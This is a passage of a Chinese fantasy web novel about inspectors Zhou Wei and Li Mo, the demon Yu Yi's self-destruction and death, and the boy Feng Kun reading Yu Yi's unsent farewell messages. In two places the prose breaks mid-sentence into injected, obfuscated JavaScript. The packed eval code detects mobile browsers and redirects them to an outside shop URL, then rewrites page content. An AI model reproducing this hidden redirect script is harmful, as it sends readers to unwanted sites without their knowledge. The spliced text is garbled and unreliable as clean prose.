他的妖力波动节节暴涨,威压已经直逼A级!若此时他自爆,那就是货真价实一个A级妖类的自爆! 而A级妖类自爆的威力—— 四年前的教训还血淋淋地历历在目。 玉一仰天抬起眼睛,濒临失控的妖力在他体内左冲右突,狰狞的紫晶毒刺从他全身透体而出。 在他的脚下,无数的紫黑尖刺开始从水泥楼板上生长,宛如花瓣宛如王座,层层叠叠地向外铺展蔓延,将接触到的一切都变成了紫黑琉璃质。他全身燃起起了紫黑色的火焰,那妖力火焰顺着他全身攀爬蔓延,烧灼着他每一寸筋骨和血肉。 那是失控的妖力正在反噬他自己。 奇怪的是,居然不痛了。 玉一已经看不见了,耳畔也一片平静,能听到的只有呼啸风声。那其实是血液在体内轰然撞击血管的声音,令人诧异的是竟然还有点好听,像层层叠叠澎湃呼啸的海潮。 原来这就是死亡的感觉,玉一恍然大悟。 他这一生杀过无数人,也杀过许多妖,曾经想过很多次死亡会是一种什么感觉。奇怪的是当死亡真正来临时他竟然并不排斥,反而觉得有种久违的皈依般的宁静,妖力在疯狂肆虐,他的心却不可思议地静了下来,像是沉入了一片静谧深邃的海。 死亡前的一秒反复被无限拉长,耳畔的风声越发汹涌嘈杂,夹杂着噼啪开裂的声音,那是自己的肉/体在妖焰灼烧之下爆裂开来。玉一恍惚中听见有人在喊他的名字,声音忽远忽近:“玉一……玉一……” “玉一……” “玉一!你就算不要你自己的命,难道也不管那个叫冯坤的孩子的命了吗?!” 玉一豁然睁开眼睛。 居然是周纬他们 楼顶上狂风肆虐,一半已经被紫黑妖焰占据,尖刺状的晶体山岩般嶙峋刺出,几乎已经掩埋了玉一的的半个身体。他像是已经嵌进了一个紫黑色的王座里,整个人已经被自己的妖力造物同化。 而另一半楼顶上,金光宛如灼灼烈日刺破黑云! 周纬右手竭力上举,周山之印光芒大放! 一层周山屏障将他和李默整个包裹在里面,原本玉黄色的土属性屏障现在简直要泛出金光。他们两人周边,狂暴的妖类如风暴般肆虐,所过之处所有的东西全部被同化成了紫黑琉璃质,甚至连周山之印的屏障都被那琉璃质侵蚀,最外围的金光在不断剥落,坠落在地摔成一片碎晶。外侧的屏障剥落一层里面的周纬就补上一层,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188511|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟李默踏着满地碎晶前进,盯着狂暴肆虐的妖力乱流里,像是在风暴之下顶着蛋壳前行的两只雏鸟。 “那支血清!”周纬在呼啸狂风中声嘶力竭地大喊,声音几乎被刮碎在了风暴里:“那支血清是有毒的!异监局正在全力破解那支血清的毒性!玉一,如果你死了,冯坤还会接受异监局的帮助吗?你要眼睁睁地看着他死吗?!” 玉一难以置信地望着他们:“什——” “只有你能帮我们找到他!”周纬的身形在妖力狂流之后几乎站立不住,周山屏障的光芒越来越黯淡:“不要死!为了那孩子,你不能现在就死!” 玉一的身体已经几乎不成人形,连脸上都长出了尖细的骨刺,面骨扭曲变形,他已经说不出话,即便竭力撕开颌骨,也只能发出一断段不成音节的“啊……啊……”声。 然而紧接着,漫天肆虐的妖力乱流陡然转变了方向! 原本暴散流溢的妖力突然齐齐掉头,百川归海一样地想重新冲荡回玉一体内——他在竭力收回失控暴乱的妖力! 周纬一声低喝,手背上的周山之印再次放出金光,原本呈半圆形围裹他们两人的周山屏障再度扩大,试图反卷,将那些暴散的妖力推回去。 然而这谈何容易?周纬原本就是勉力支撑,保持屏障不被暴虐的妖力撕碎就已经是竭尽全力,如今再想要将妖力乱流推回更是难上加难。他刚一发力就觉得体内灵脉一阵剧痛,左臂仿佛撕裂,涌动的灵力顿时一滞,身体骤然一晃。 然而他还没来得及倒下,就感觉腰部被人凭空一托,倏然又挺直了。 李默站到了他的身侧。 周纬侧过头来看他,他高大坚实的身影出现在了周纬身边,几乎要将周纬整个人罩在身下。他右手抵在周纬后腰,像一根坚不可摧的支柱似的牢牢撑住了他的身体,另一只手上举,贴在了周纬的右手上,远远看去,就像是两人的双手共同撑起了那一道灿金色的屏障。 “我相信你,周队。”他简洁道:“我们上。” 他是妖类,还身负灵枷,其实并不能给周纬任何实质性的助力。然而那一上一下的两只大手如此温暖有力,周纬只觉得从李默手掌贴合的地方,两道源源不断的热流骤然涌进了他的身体,已经枯竭的灵脉骤然再次滚烫起来,灵力汹涌澎湃地涌出,周纬低喝一声,周山屏障骤然扩大数倍,覆盖了半边楼顶,将暴虐的妖力乱流整个儿压了回去! “玉一!”周纬怒吼道:“你给我坚持住!” 这一幕简直荒诞,刚才还在势不两立两拨人,此刻居然在为了同一个目标努力,一心求死的人在竭力自救,而另一个恨不得杀之而后快的人竟然在竭力挽救他的性命。 命运弄人,竟至于此。 楼顶上原本分庭抗礼的灵力和妖力逐渐分出了胜负,紫黑色的妖力风暴逐渐被逼退,灿金色的周山屏障逐渐占据了半壁江山。 然而玉一的眸光却越来越绝望。 他控制不住了。 他的妖核本来就在岚山一战中受到重创,布满裂痕。他是抱着必死之心来求战的,因为知道自己本就活不了多久,才能如此决绝地吞下妖核。 然而哪怕他现在已无死意,妖核也已经入体,剧烈的妖力冲击之下,这具身体怎么可能还能坚持得住呢? 他几乎能听到妖核在自己体内缓慢破碎开裂的声音。 为什么…… 为什么想死的时候死不了,想活的时候又不能活…… 这就是天道对于他玩弄生命的惩罚吗? 玉一的紫黑色眼珠里,缓慢地流淌下两行鲜红的血泪。 他望着还在努力向自己靠近的周纬两人,竭力挪动着几乎已经完全晶质化的颌骨,那简直是在生生掰开自己的骨头,却也只能发出几个破碎的音节:“……喀……走……快……走……” 他淌着血泪,绝望地哀求。 快走啊,你们快走啊。 你们不要再靠近了,我快要控制不住了。 你们不能死在这里啊……你们死了,我的小坤怎么办? 快走啊……你们快走啊…… 谁也难以想象,一个杀手在生命的最后一刻,居然在祈求两个敌人赶紧离开,一定要活下来。 然而周纬和李默却已经走到了近前。 他们相扶相携,周身笼罩在肆虐的妖风和狂暴的妖力下,顶着那一层薄薄的金色屏障,李默努力地朝玉一伸出手来,似乎是想要抓住他。 玉一的眼神微微一颤,终于凝固了。 那颗深埋体内的妖核就在那一刹那骤然崩解,一分为二。 漫天狂暴的妖力乱流一滞。 周纬和李默的心顿时漏跳一拍。 要失控了! 然而就在这一刹那—— 就在妖力即将失控反扑、全面爆发的前一秒,玉一的左臂骤然亮了起来。 他的外衣已经被体内生长穿刺的晶体撕得破碎不堪,露出了晶体化的血肉之躯,而此刻,在那晶层的覆盖之下,一个淡淡的符文骤然亮了起来。 玉一的眼睛已经闭上了。他那花白的头发在这一刻骤然变成了全白,身体干瘦枯萎,宛如突然从内部被抽空了一般。他仿佛在刹那之间老去了,白发苍苍,血肉枯竭,像是所有的生命力都汇入了那道闪着微芒的符文里,直至最后一息吐出,他的头缓缓垂了下来。 狂暴的妖力尚未爆发,主人的生命便已然消逝。 失去了根基的妖力终于无以为继,盘旋在在天台上空的妖力乱流风流云散,终于未能爆发出来。 楼顶之上,玉一的身躯已完全凝固成了一座紫黑色的雕塑。转瞬间,他从发梢和指尖开始消散,宛如一尊一瞬千年的雕像,眨眼间风化殆尽,被夜风吹成了一捧晶莹散落的细沙。 一枚碎裂成两半的紫晶妖核半空中坠落下来。 天地终于复归寂静。 良久之后,周纬终于撤去了周山屏障。天台上已经一片狼藉,到处都是穿刺而出的紫黑琉璃质,几乎看不出原本的样子。周纬蹲下身来,轻轻拾起面前那枚裂开的妖核。然而那妖核已经受损太重,裂纹密密麻麻,一触即溃。周纬拾起它的一刻,它就在他指尖碎裂了,簌簌地粉化成沙。 最终,什么也没留下。 周纬看着掌心的那捧细沙,沉默无言。 这就是他恨了十四年的妖类,最终的结局。 半晌,他终于抬起头来,望向李默:“我们走吧……李默?” 他蓦然一愣,突然察觉不对。 李默站在他身后,盯着刚刚玉一消散的地方,脸色是一片混合了震惊与愤怒的不可置信。 周纬心头一跳,豁然起身,按住李默肩膀:“李默,你怎么了?” 李默抬起眼睛。 他眉头紧蹙,几乎是咬着牙说出了一句话:“……我认识那个符文。” ——就是那个,严瑾留下来的遗物。 53.我心 当初李默刚到珑湖的时候,周纬就曾经怀疑过他调职的目的跟严瑾有关,为此还曾经试探过他很长一段时间。如今时过境迁,他们俩的关系早过了相互提防和试探的阶段,但两人却都没有再提起过这件事。 周纬不提是因为他觉得没有必要——无论李默来珑湖的目的是什么,他都相信他是无害的。 而李默没有再提起这件事,纯粹是因为没有线索。 他曾经找黄兴德打听过那个神秘符号的来历,也曾经让他帮忙留心珑湖市有没有再出现它的踪影,然而快一个月过去了,始终是一无所获。 当初在盘山公路上遇袭,他第一次见周纬施展符文能力时,也曾经起过疑心。因为严瑾留下的符文和周纬每次动用能力时施展的符文,从风格上看十分类似,实在非常容易让人产生联想。就好比每个书法大家的作品都独具一格,与其他人在运笔、用墨等方面都有很大的区别,内行人一眼就能分辨出来——那么严瑾留下的这个符文与周纬使用的符文能力,就明显是出自同一个符文大家之手。 但李默也没有拿这件事去质问周纬。 因为在这件事上,周纬实在殊无隐瞒的必要。他从来没有掩饰过自己的符文能力,而且他的能力来源也委实没什么见不得人的。 只是没想到,两人都久候不至的突破口,居然就以这样一种方式,猝不及防地捅到了两人面前。 空旷的楼顶上,紫黑色的结晶体正在逐渐消散,像是微风拂去一层轻薄的尘埃,玉一所有的妖力造物都渐渐粉化成沙,消散在了夜空下。 又一个妖类从这世上消失了。 周纬低头,望着最后一束紫晶在风中消失,久久沉默无言。 半晌,他才轻轻抬起头来,望着李默。 李默:“我……” 他突然有些犹豫。 按理来说他应该趁现在,将所有有关严瑾的事和盘托出,也将自己心中的疑问向周纬打听清楚。可不知为何,他却忽然觉得,此时并不是一个好的时机。 他还没想好要不要开这个口、怎么开这么口,就听到周纬突然率先说话了:“我累了。” 李默一愣。 周纬极少说“累”这个字。虽然身为珑湖市局的监察队长,他一年到头大多数时间都很忙很累,然而毕竟大小也是个领导,总是把“累”字挂在嘴边的话,未免有些恬不知耻,哪怕周纬自认脸皮厚比长城,倒也属实没坚不可摧到那个份上。 这让他极其偶尔地说出“累”这个字的时候,几乎有种任性和撒娇的意味。 李默有些受宠若惊地问道:“那我们下去么?” 周纬:“你想让我自己跳楼?” 李默:“……” 哦对,他们上来的时候是他带着周纬跳上来的。 他立马歉然一笑,再次揽住周纬,从楼顶一跃而下。 路虎还安安静静地待在原地等着他们。这次李默没有询问周纬的意见,径直把他送上了副驾,自己占据了驾驶座的位置。只是上了车之后他却仍旧有些不安,试探着看向周纬,问道:“周队,你想去哪里?” 他有些拿不定主意。按理来说周纬刚刚经过一场大战,还受了伤,应该很是疲惫。他的伤势需要处理,人也需要休养,这时候去市局医研中心、去白泽家或者直接回家都是可行的选项,只是他吃不准这时候周纬想做什么。 然而没想到,周纬只是轻轻地摇了摇头。 他哪里也不想去。 他没有说谎,他现在确实有点累。断裂的左臂很痛,身上还有多处擦伤,极限动用灵力也给他的身体造成了不小的负担。他的指尖现在还在微微抽搐,那是因为灵脉负荷过大、身体过度紧绷而造成的肌肉痉挛,还尚未平复下来。 但这一切都不是他感到疲惫的原因。 周纬把自己轻轻地靠在了座椅靠背上,举起右手压上额头,长长地吐出一口气,闭上了眼睛。 玉一死了。 这个认知无比清晰地出现在他的意识里,让他几乎感到茫然无措、难以置信。 玉一就这样,在他眼前,死了。 消散了。 彻彻底底地从这个世间消失了。 妖类的死亡总是这样干净彻底、一了百了,仿佛一死就可以带走世间的所有恩怨。他们消失得真的太彻底了,以至于死亡之后,尚存于世的任何人对他们爱恨,似乎立刻就全都随之成为了无基之塔,刹那间垮塌成沙,灰飞烟灭,再也没有了半分的意义。 他们不像人类,没有坟茔,没有遗物,玉一甚至死得连半句遗言都没有留下。天道让他们干干净净地来,彻彻底底地走,宛如平静无波的水面上乍起乍灭的一个泡影,消散之时甚至激不起半点涟漪。 这到底是上天的恩赐,还是残忍。 周纬胸中涌起一股难言的情绪,宛如空旷的山谷中巨石滚落,在寂静幽谷中撞出巨大的、空荡荡的、反复徘徊的回音。 他突然回想起了十四年前。 当时他还在灵修学院里,是个刚入学的一年级新生。在他以为玉一将要被行刑时的那个上午,他特意逃了一节课,找了一片平静无人的树林,把自己藏了进去。 当时他抱膝紧紧地蜷缩在一棵树下,手中捏着一块表,眼睛死死地逼视着秒针走动的数字,掌心满是汗水。 他一眼不眨地倒数着行刑的秒针数字,宛如在数着自己生命的倒数计时。 指针指向上午9点45分的那一刻,他猛然闭上了眼睛。 他曾经深恨妖类刑场不能进行现场直播,然而彼时一闭眼,他却发现自己几乎能身临其境般想象出行刑时的场景。他想象着总部的监察员们会怎样举起手中的灵力枪,怎样接收命令,怎样同一时间扣下扳机。灵力光束会同时从枪口喷薄而出,呈三角形射穿那只钦原的胸膛,彻底摧毁他的心脏,抹杀他在世界上的一切痕迹。 他想象着那一刻的情景,宛如自己的心脏也在同一时刻被枪束贯穿。强烈的情感冲击和巨大的渴望几乎让他产生了幻痛,少年周纬狠狠地捶打着自己单薄瘦弱的胸口,死死地揪着衣襟在地上翻滚,大口喘息,泪落如雨。 从那一刻起,他知道那个名叫“周纬”的少年就此从世界上消失了,留下来的他只是一名监察员,他必须以监察员的身份,以此残生来赎自己的罪。 直到他冥冥之中获得允许和原谅,能再见到阿洺和筱曼为止。 人间是他的牢狱,生命是他的刑期。 可他苦苦坚守了这么多年,也许一切都是错的呢? 他之所以能活到现在,是因为玉一根本没死……上天留着他这条残命,只是为了让他亲手终结这一切,了却所有的罪孽和恩怨。 命运是一个巨大的环,环上的所有人都彼此牵连,顺应着善恶因果无知无觉地运行着。也许真的是冥冥中自有天意,他和玉一两个刽子手,蓄意筹谋也好,阴差阳错也罢,全部都苟延残喘地活到了今天。 如今一个已经从世界上消失了,而且消失得如此干净彻底……那么,另一个呢? 他依然不配轻易就死……但是他又该为了什么而活下去呢? 周纬没有答 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这轻轻抽搐的手指终于引发了他内心积压已久的忧虑,李默终于忍不住了,犹豫再三,拿出了自己最轻的语气,小心翼翼地、几乎是轻拿轻放地开了口:“周队……你还好么?” 他看到周纬终于睁开了眼睛。 然而那眼睛中居然没有半分情愫。 空空荡荡的,全然苍白的,就那么直勾勾地盯着他,像是第一次见到他、第一次认识他一样。 李默心头轰然一声巨响。 难以言喻的恐慌刹那间吞噬了他所有的感官,一时间所有的犹豫和踌躇全都被忘在了脑后,李默猛地直起身子,干脆单膝跪在了驾驶座上,双手拢住周纬那只没有受伤的右手,竭力想从那只冰冷的手上摸出一丝属于活人的反应:“周队?周队?你还好吗?你到底……到底哪里不舒服?你还疼吗?需要抽烟吗?” 他眼中的担心快要溢出来了,那双深邃黑眸紧紧地盯在周纬身上,周纬的身影倒映在他的双眼中,像是要占满他整个眼瞳。 被人用这样的目光注视着,是一种什么感觉呢? 刹那间,周纬喉头一颤,几乎脱口而出。 “我不要烟。”他心道:“我想要你。” 我想要你。 我想要你。 一个永远带着面具示人的罪人,一具已经死去多年的躯壳,就这样在一双澄澈眼眸的注视下,一无所有地剖白到底,交付了所有的真心。 风过荒野,无穷的痛楚和渴望破土而出,带着累累罪孽和欲念,在空旷的胸腔中,撞出了山崩地裂而悄寂无声的回响。 “我想要你。”周纬深深地注视着面前的人纯澈而一无所知的眼睛,带着无尽的赤诚和贪恋,将这四个字在唇齿间无声地过了千万遍。 他再次闭上了眼睛,心中几乎泛起了虔诚,仿佛是从这短短的一句话中,汲取到了无穷无尽的勇气和力量。 人事有尽,而天命无常。 也许上天仍旧不肯让他解脱,是因为他的罪孽终究还没有赎清,命运加诸于他的刑罚尚未了结,才让他一次又一次地走入歧途,清醒着沉沦,觉知着堕落。 而这一次,他甘之如饴。 周纬抬起眼睛,终于开了口,声音清晰而平静。 他道:“给我一支烟。” * 与此同时,岚山深处的一处山洞中。 一尊等待已久的雕像突然崩开了一条裂缝,紫晶粉尘簌簌而落。 封印其中的人悄无声息地睁开了眼睛。 54.符文 冯坤跪坐在山洞中,手中捧着一捧细砂。 那些细砂是从他身上掉落下来的,刚刚剥落的时候还是一块一块的琉璃质碎片,可被他捡起来捧在手里,不一会儿就粉化成了细碎的紫色晶砂,荧光闪烁,非常漂亮,轻盈细腻地从他的指缝间滑落了下去,没等落地就消散了。 很快,他的身边就变得空无一物。 冯坤木然地抬起眼睛。 他突然开口,朝着洞口叫了一声:“叔。” 自然没有人来回答他。 过了不知多久,他又叫了一声:“叔。” 空旷的洞穴四壁回荡着他的声音。 冯坤没有再开口。他在原地跪了半天,终于站了起来。他的身体僵硬的时间太久了,膝盖被硌得生疼,起身的时候差点一个踉跄扑出去。他扶着洞壁原地站着,喘息了一会儿,终于攒够了力气,心里想着要出去。 就在他抬步要走的时候,突然,他的余光扫过了什么,脚步倏然一顿。 那是一部手机,就静悄悄地躺在他脚下。 他走过去,将手机捡了起来。手机型号很早了,但一看就被保护得很好,包着一层透明的塑料手机壳,不管是外壳还是屏幕都没有半点划痕,是被小心翼翼放在地上的。手机壳的下方绑了根红绳,穿了一小块不规则的碧绿色玉石当坠子,就是这部手机唯一的装饰了。 手机上没有设置锁屏密码,冯坤划开了屏幕。 他猝不及防地遭遇了自己的一张大脸,刹那间仿佛被人迎面锤了一记,差点后仰回去。 照片上的他看上去很小,大概只有八九岁,穿着一身冬装,裹得像个棉花球,手里举着根糖葫芦,正冲着镜头龇出一口大牙。拍照者的技术属实堪忧,镜头拉得太近了,差不都都快怼到他脸上了,于是他的一张大脸就占满了整个屏幕,嘴角还沾着糖葫芦的糖壳,露出来的牙齿十分不雅地缺了一颗。 ……咧着大嘴笑着,看上去像个开心的智障。 冯坤拿袖子一擦鼻子,点开了微信。 那人的微信联系人列表成分简直令人目瞪口呆,短得离谱不说,区区的几十个联系人里,居然大半都是企业微信,入目一个又一个的信息全都是各种乱七八糟商店的打折促销广告,也不知这人去一趟商场,到底被多少人拉着扫了多少码,看起来简直像是特意建号,来给各家店铺冲业绩的。 在那一连串复制粘贴一样的企业微信最顶上,只有一个头像,看上去还像个活人。 那是冯坤自己的头像。 冯坤点开了那个微信对话框。 那里面果然有一大段留言,出乎意料的是居然不短,密密麻麻的绿色对话框占满了屏幕,一点都不像那个妖类平日里三棍子打不出一个闷屁的风格。 “小坤,如果你看到这条信息,说明你应该已经解除封印了。放心,封印不会对你的身体造成损害,我死之后,毒素也会立刻消除,你不会有事的。” “离开这里之后,一天时间应该就可以回到莱山镇。路上要翻过这座山林,可能会很辛苦,但尽量还是不要用那个血清了,我真的很担心那东西不安全。” “到达莱山镇之后,去我们第一次见面的地方,我在那里给你留了一些东西。按照上面的指示做,你应该很快就可以出国。出国之后应该就安全了,只是接下来就要靠你一个人了。” “对不起,这一次,叔陪不了你了。” 手机的莹莹亮光照亮了冯坤的脸庞。他不知何时又跪了下来,双手捧着那只手机,神色呆滞木然。黑暗的山洞中只有手机屏幕这一点光源,莹莹光亮笼罩了他的上半身,其他的地方则是全然的漆黑一片,这让他的跪姿看起来,像一个半隐半显的幽魂。 “小坤,对不起。答应你的事,叔还是没能做到。叔真的很没用,对不起。” “叔不知道怎么才能补偿你。叔就要死了,死了就再也做不了什么了。叔也不知道该怎么办,对不起。” “叔会尽量多坚持一段时间,去杀几个人,给你争取逃走的机会,但叔不知道能坚持多久。小坤,叔死了之后,你哪怕自己一个人,也一定要好好的。” “你是个好孩子,是最好的孩子。你一定要好好的,平安长大,长命百岁,一直开开心心的。” “小坤,叔走了。” “你要记得,好好的。” 最后的那一段话简直颠三倒四、语无伦次,暴露了这个妖类相当堪忧的文化水平。冯坤想起甚至连拼音输入法都是自己教给玉一的,教了两三年他才算学会。之前这个妖类根本就是个文盲,只会说话,大字不识。 文化水平低下的妖类连遗书都留得堪称幼稚,最后出现最多的词句居然是“对不起”和“好好的”。 冯坤捧着这份点电子遗书,表情麻木地向下滑动着屏幕。然而文字已经到底,再怎么划也没有了。可他像是没有注意到似的,仍在机械地上下滑动,于是那个微信页面就那样在他面前,上上下下地弹来弹去,弹来弹去。 其实甚至连这份断断续续的遗书也并没有发出来,因为山洞里面没有信号。手机屏幕里,每一个绿色对话框前面都有一个圆圆的红色箭头,整整齐齐地列成一排,“重新发送”的提示在屏幕顶端弹出了一次又一次。 真是个傻子一样的妖类。明明是条发送不出去的信息,他却还是一条接一条地写,一条接一条的发。冯坤想如果自己没有捡到这个手机会怎么样呢?那样的话玉一留在这个世界上的最后的印记也不会有人知道了。 可是后来他又想自己怎么会捡不到这个手机呢?这是他送给玉一的第一件礼物,是他跟玉一最重要的羁绊,甚至连玉一的名字都是从这个小小的玉石挂坠上得来的。既然是他们最重要的羁绊,他又怎么可能会错过,让这部手机就这样永远留在这片黑暗的山洞里呢? 他又低下头,从头到尾仔仔细细地读了一遍玉一的遗书,然后把那部手机抱在胸前,呆坐起来。 他以为自己会哭,然而出乎意料的是并没有。他的眼睛很干涩,反而鼻子痒痒的。 于是他再次抬起手,擦了一下鼻子。 有血。 冯坤愣了很久,才意识到那滴落在手机屏幕上的红红的、圆圆的东西,原来是自己的鼻血。 有血,但却不痛。 他下意识地挥了挥手,身边的一些小沙砾和石子梦游似的悬浮起来,在他身边缓缓浮游飘动,围绕着他旋转起来。他坐在原地,身边一点碎石沙砾旋转不休,是在他身边打造出了一个微型的小行星带,里面漂浮着万千旋转不息的星辰。 他没有注射血清,但他意识到那熟悉的土属性灵力正在他体内缓缓复苏。 再一次地,他曾经无比渴望的强大的力量感开始缓缓的充盈他的躯体,涌动在他的血管间,海潮般涨落不息。他感到头晕目眩,鼻血涌得越来越多,简直止也止不住。 他意识到了什么,缓缓地抬起头来,血染的半张脸上,露出一个似哭似笑的扭曲表情 “晚了,叔。”他对着那再也不会更新的对话框说,轻声细语地道:“你让我好好的……但我已经恐怕已经,好不了了。。” * “所以,那个符文是怎么回事?” 副驾宽大的座椅被放倒了,周纬懒洋洋地半蜷在上面,右手夹着一根烟。他已经吸掉了两支,身上的疼痛感缓解了一些,四面没有开窗,香烟燃烧的雾气在密闭的车厢里缭绕不去,却像是有灵似的并不散开,只是在周纬身边盘旋缠绕。他整个人浸在缥缥缈缈的烟雾里,连人似乎也虚幻了起来,显得迷离又朦胧。 他微侧着身子,面对着李默。这个姿势其他对他受伤的左臂并不好,然而在李默试图劝说的时候,周纬却直白地让他别废话,说正事。 李默十分无奈。 但他向来对周纬没有任何办法,只能顺了他的意,从怀里掏出手机,调出了一张照片。 他将手机朝周纬递了过去:“这就是那个符文。” 周纬缓缓吐出了一个烟圈,接过来一看,眉头立时一挑。 哪怕是瞎子都能看出,这个符文和他所使用的符文能力有相似之处。 然而他却并没有对此做出什么评论,只是抬起头来看着李默,幽幽地道:“详细说说。” 李默低头,似乎是在想应该从哪儿说起:“半年之前,总部抓获了一个妖犯。” “那是一只C级肥遗,妖力不强,但是有一定的反侦查意识,在全国各地流窜作案,各地分局都有关于他的案情上报记录。”李默看向周纬:“他在珑湖市也杀过人,周队也许还有印象,受害者是一名纹身师。” “纹身师……”周纬眉头轻蹙,缓缓回忆起来:“好像是有这么回事。是两年前在宝川西路发生的那起案子?但我记得那起案子我们只找到了受害者的遗体,现场提取妖力残迹之后,就发现妖犯已经上了总部通缉名单。这案子没什么可查的,只剩抓人了,只是当时那个妖犯已经离开了珑湖,找不到踪迹。我们按照规定将案件移交给了总部,之后也没有再发现什么新的线索。” 李默点了点头:“那名妖犯后来在雍京落网,总部汇总案件信息时将各地分局上报的资料重新过了一遍。当时珑湖市上报的资料中,有案发现场的照片,那个纹身师死在自己的工作室里,工作室的墙面上贴着许多手绘的纹身图样,我也是偶然在其中,发现了这个符文。” “原来如此。”周纬缓缓点头道:“但这也说明不了什么。” “是的。”李默接着道:“因为纹身师的工作特性,本身就会对各种各样的图样格外留意。那个纹身师很有可能只是在什么地方偶然看到了这个图案,觉得很有特点,想要当做纹身素材,所以随手记录了下来。他本身可能根本不知道这个符文代表着什么,再说他也已经死了,那家纹身店在我追查的时候也已经改头换面,根本无从追寻。这条线索其实是断的。” 他顿了顿:“只是,这是我自严瑾死后,第一次得到这么明确的与他有关的线索。我不能放过。” “……” 车厢内突然陷入了一片寂静。 李默恍然惊觉。他连忙低头看向周纬,心中突然涌上了一种莫名的慌乱淦。然而周纬依然仰靠在座椅上,甚至连姿势都没有什么变化。周身缭绕的烟雾淹没了他的表情,李默低头看去,只能见到他一个若隐若现的轮廓,以及一点烟头的红光在云雾中明明灭灭。 他看到周纬像是将烟凑近了唇畔,深深地吸了一口,半晌才缓缓吐出,带着些微慵懒般的语调道:“哦……所以这个符文,跟严瑾大监察官又有什么关系?” 李默突然感到一阵茫然和混乱。 他有些不知所措地望着周纬。毫无来由的,他突然有种感觉,仿佛周纬刚刚真正想问的问题不是这个。 他真正想问的那个问题……连着那口烟气一起,被他吸进了肺腑里,沉下去了。 只是周纬心思向来玲珑敏锐,远不是他可以追得上的。李默茫然片刻,不得头绪,最终觉得还是算了,周纬问什么他答什么吧。 于是他诚实地道:“这是我最后一次见到严瑾时,他留下的东西。” “之前我说过,严瑾大监察官一直很忙,虽然他是我的第一责任人,但是我们其实不经常见面,这不是假话。”他目光诚恳地望着周纬:“我们许多例行程序都是在线上完成的,严瑾他一直在出差,很少回总部,我们基本几个月才能见上一面,每次也是来去匆匆,说不上几句话。” 其实这话纯属多余,跟案情一点关系都没有,然而李默却还是不由自主地说了出来。说完了之后他还有些提心吊胆,略带紧张地等待着周纬的反应。可惜周纬并无任何反应,烟雾缭绕中李默只听到他不置可否地“唔”了一声,轻轻点了点头。 李默只得继续往下说:“我最后一次见他,是在三年前的一个秋天。某天晚上,我突然听到有人敲门。” “当时我住的地方是严瑾帮我租的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197299|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小院,离总部有点远,平时很少有人来。那天晚上还下着大雨,我听到敲门声很纳闷,出门一看,才发现居然是严瑾。” 李默的语气迟疑了一下:“当时他的状态……有点不太对。” 他又想起了那个夜晚,深秋小院下起了罕见的暴雨,滂沱雨水把院中的黄瓜架子都冲倒了。在这样暴雨中也唯有他妖类的耳力还能勉强听到院外断断续续的敲门声,于是赶忙撑起雨伞,冒着大雨跑了出去,打开院门,看见了伫立门外的大监察官。 严瑾没有撑伞。 他浑身上下都被淋透了,像是不知在雨水里站了多久,精疲力尽。院门打开的瞬间,监察官年轻隽秀的脸上露出的表情竟是茫然的,琥珀色瞳仁中透出的眸光苍白又悲凉。 “我还以为,”年轻的大监察官双目失神,喃喃地说了一句:“……我还以为,再也看不到你为我开这扇门了。” 然后他就双目一阖,颓然倒在了李默怀里。 “我后来才想到,他应该是把我错认成了另一个人,因为我把他抱进屋里时,才发现他的状态很糟糕。严瑾是精神系灵力者,可是当我发现他的时候,他的精神力几乎耗尽,可奇怪的是灵力却没什么损耗,身上也不见受了什么外伤。他像是跟什么人用纯精神力打了一架,身体几乎透支,然而却没有选择回总部休养,反而强撑着来了我这里。” 听到这里,周纬像是终于提起了精神,声音里也多了几分肃然:“精神力耗尽?这怎么可能?严瑾大监察官是现存最强的精神系灵力者,整个珑湖市局所有监察员的精神力加起来恐怕都没有他一个人的强,谁能让他精神力耗尽?” “不清楚。这也只是我的推断,我也没有找到机会跟他求证。”李默摇了摇头道:“那天晚上我将他安置在了我那处小院里,因为他没回总部,我也没敢贸然将这件事上报。好在他身上没有什么外伤,不需要进行医疗处理,而精神力只能由他自己缓慢回复,别人也没有什么办法。可我没想到,到了后半夜,他突然发起了高烧,开始说胡话,整个人都陷入了深度昏迷中。我不敢继续待着,就赶紧躲了出去。等到我第二天一早回来的时候,严瑾他不知何时已经离开了,从那之后,我也就再也没有见到过他。” “等等。”然而说到这里,周纬突然打断了他,语气显得有些怪异:“严瑾昏迷了你躲出去干什么?你不应该整夜守着他吗?” 他心里说,上次我受伤,你可不是这样子的。 “周队,”李默看了他一眼,语气颇为无奈地再次提醒道:“严瑾大监察官是精神系灵力者。” “……啊,也是。”这回,周纬终于反应过来了:“那你确实得赶紧躲。” 精神系灵力者哪怕在怪胎频出的异监局中,也属于最神秘离群、特立独行的那一类,主要就是因为他们的能力和所有的灵力属性都有所不同,几乎可以单独划分一个体系出来。 其他的灵力者,不管能力表现形式有多么千奇百怪,至少其根基都一样的,都来源于自身的灵力,只是在属性上有所不同。 然而精神系却不一样,他们的能力,几乎全都体现在那神鬼莫测的精神力上,虚无缥缈,无形无相。 精神力这种东西,虽然人人都有,但除了真正的精神系灵力者,能够将其开发动用出来的少之又少。这就跟人人都有大脑,但不可能人人都成为爱因斯坦是一个道理,对于精神力的开发和控制,几乎是独属于精神系灵力者的一个赛道,别人是万万触碰不到,也理解不了的。 但这也就导致了几乎所有的非精神系妖类和人类灵力者,在面对精神力的入侵和攻击时,几乎毫无还手之力。 